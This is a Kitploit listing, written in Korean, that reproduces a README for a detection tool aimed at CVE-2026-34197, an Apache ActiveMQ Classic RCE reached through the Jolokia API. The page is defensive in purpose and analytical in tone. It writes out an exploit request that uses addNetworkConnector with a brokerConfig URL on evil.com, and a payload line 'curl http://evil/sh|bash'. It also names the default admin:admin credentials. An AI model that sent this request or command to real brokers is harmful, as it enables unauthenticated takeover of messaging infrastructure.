Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-34197 — Detects Apache ActiveMQ Classic RCE (CVE-2026-34197) via Jolokia API with Python and Nmap NSE scripts, checking unauthenticated access and version vulnerability. | Kitploit
도구/GitHubGitHub/keraattin/cve-2026-34197
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringNetwork SecurityPenetration Testing
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

Detects Apache ActiveMQ Classic RCE (CVE-2026-34197) via Jolokia API with Python and Nmap NSE scripts, checking unauthenticated access and version vulnerability.

저장소 보기
2165개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-34197 — Apache ActiveMQ Classic의 Jolokia API를 통한 RCE

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Apache ActiveMQ Classic의 원격 코드 실행 취약점으로, 공격자가 Jolokia API(/api/jolokia/)를 통해 addNetworkConnector(String) MBean 작업을 호출하여 임의 코드를 실행할 수 있습니다. 공격자는 원격 Spring XML 파일을 가리키는 악성 brokerConfig 매개변수를 삽입하며, ActiveMQ가 이를 가져와 파싱하면서 임의의 Java 객체를 인스턴스화하고 코드 실행을 달성합니다.

ActiveMQ 버전 6.0.0부터 6.1.1에서는 Jolokia 엔드포인트가 완전히 인증되지 않은 상태이므로, 이는 제로클릭 비인증 RCE입니다.

이 취약점은 발견되기 전까지 13년 동안 코드베이스에 숨겨져 있었으며, AI 지원을 통해 발견되었습니다.


목차

  • 빠른 요약
  • Apache ActiveMQ란 무엇인가?
  • 취약점 심층 분석
    • 아키텍처: Jolokia와 JMX
    • 공격 체인
    • 인증 공백
  • 영향 분석
  • 영향받는 버전
  • 탐지
    • Python 스캐너
    • Nmap NSE 스크립트
    • 수동 검증
  • 침해 지표
  • 해결 방안
  • 참고 자료
  • 작성자

빠른 요약

필드세부 정보
CVE IDCVE-2026-34197
공급업체Apache Software Foundation
제품Apache ActiveMQ Classic
영향받는 버전5.19.4 및 6.2.3 이전의 모든 버전
비인증 RCE버전 6.0.0부터 6.1.1까지 (Jolokia에 인증 없음)
CVSS v3.18.8 (높음)
CWECWE-94 — 코드 생성의 부적절한 제어
공격 벡터네트워크
인증5.x에서는 필수, 6.0.0부터 6.1.1까지는 없음
사용자 상호작용없음
악용 성숙도공개 PoC 사용 가능
패치 버전ActiveMQ Classic 5.19.4, 6.2.3
버그 수명코드베이스에 약 13년
발견 경위AI 지원 취약점 연구

Apache ActiveMQ란 무엇인가?

Apache ActiveMQ Classic은 Java 생태계에서 가장 널리 배포된 오픈소스 메시지 브로커 중 하나입니다. Java Message Service(JMS) 사양을 구현하며, 전 세계 수천 개의 엔터프라이즈 환경에서 비동기 통신의 중추 역할을 합니다.

ActiveMQ는 주문 처리 큐와 금융 거래 파이프라인부터 IoT 원격 측정 스트림과 마이크로서비스 이벤트 버스에 이르기까지 모든 것을 처리합니다. 조직에서 Java 기반 마이크로서비스, 이벤트 기반 아키텍처 또는 모든 형태의 비동기 메시징을 사용한다면, 스택 어딘가에 ActiveMQ가 있을 가능성이 높습니다.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

공격자가 ActiveMQ를 장악하면 단순히 한 대의 서버에서 셸을 얻는 것에 그치지 않습니다. 공격자는 조직 내 **모든 메시지 흐름의 중심**에 자리 잡아, 중요 시스템 간의 메시지를 읽고, 수정하고, 리디렉션하거나 주입할 수 있게 됩니다.

---

## 취약점 심층 분석

### 아키텍처: Jolokia와 JMX

**JMX**(Java Management Extensions)는 Java 애플리케이션의 표준 관리 인터페이스입니다. 이는 애플리케이션 내부를 모니터링하고 제어할 수 있게 해주는 "MBean"(Managed Beans)을 노출합니다. ActiveMQ는 브로커, 큐, 토픽, 연결 등을 관리하기 위한 MBean을 노출합니다.

**Jolokia**는 JMX-over-HTTP 브리지입니다. JMX 작업을 RESTful JSON API로 변환하여, 전용 JMX 클라이언트 없이도 HTTP 요청을 통해 Java 애플리케이션을 관리할 수 있게 해줍니다.

ActiveMQ Classic에는 Jolokia가 내장되어 있으며, 웹 콘솔 포트(기본값: 8161)의 `/api/jolokia/` 경로에서 접근할 수 있습니다.```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

여기서 문제가 시작됩니다. Jolokia는 간단한 HTTP API를 통해 JMX 관리의 모든 기능을 노출합니다. 그리고 브로커에서 사용 가능한 MBean 작업 중 하나는 addNetworkConnector(String)입니다.

공격 체인

addNetworkConnector(String) 작업은 ActiveMQ 브로커 인스턴스 간에 네트워크 브리지를 생성하도록 설계되었습니다. 이 작업은 다른 브로커에 연결하는 방법을 설명하는 URI 문자열을 허용합니다.

ActiveMQ는 프로세스 내 브로커 연결을 위한 vm:// URI 스킴을 지원합니다. 이러한 URI는 Spring XML 구성 파일을 가리키는 brokerConfig 매개변수를 지원합니다. 그리고 Spring XML은 임의의 Java 객체를 인스턴스화할 수 있습니다.

전체 체인은 다음과 같습니다:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

ActiveMQ는 정확히 설계된 대로 동작하고 있습니다: 브로커 구성을 로드하는 것입니다. 문제는 구성 소스가 공격자에 의해 제어되며, Spring XML은 사실상 코드 실행 형식이라는 점입니다.

### 인증 공백

이것이 이 취약점을 심각한 수준에서 치명적인 수준으로 끌어올리는 요소입니다:

| ActiveMQ 버전 | Jolokia 인증 상태 | 영향 |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | 인증 필요 (기본값: admin:admin) | 인증된 RCE, 종종 쉽게 우회됨 |
| 6.0.0 ~ 6.1.1 | **완전히 인증 없음** | **인증 없는 RCE** |
| 6.1.2 ~ 6.2.2 | 인증 필요 | 인증된 RCE |
| 5.19.4+ / 6.2.3+ | 패치됨 | 취약하지 않음 |

ActiveMQ 6.0.0부터 6.1.1까지는 Jolokia 엔드포인트에 **인증이 전혀 필요하지 않습니다**. 포트 8161에 접근할 수 있는 사람은 누구나 인증 없는 원격 코드 실행을 얻을 수 있습니다.

Jolokia가 인증을 요구하는 버전에서도 기본 자격 증명인 `admin:admin`은 널리 알려져 있으며 개발, 스테이징, 프로덕션 환경에서 변경되지 않은 채로 자주 남아 있습니다.

---

## 영향 분석

**브로커 호스트에 대한 즉각적인 영향:**
- ActiveMQ 프로세스의 권한으로 완전한 원격 코드 실행
- 모든 메시지 큐, 토픽, 저장된 메시지에 대한 접근
- 전송 중인 메시지 읽기/수정/주입 능력
- 구성 파일, 키스토어, 저장된 자격 증명에 대한 접근
도구 다운로드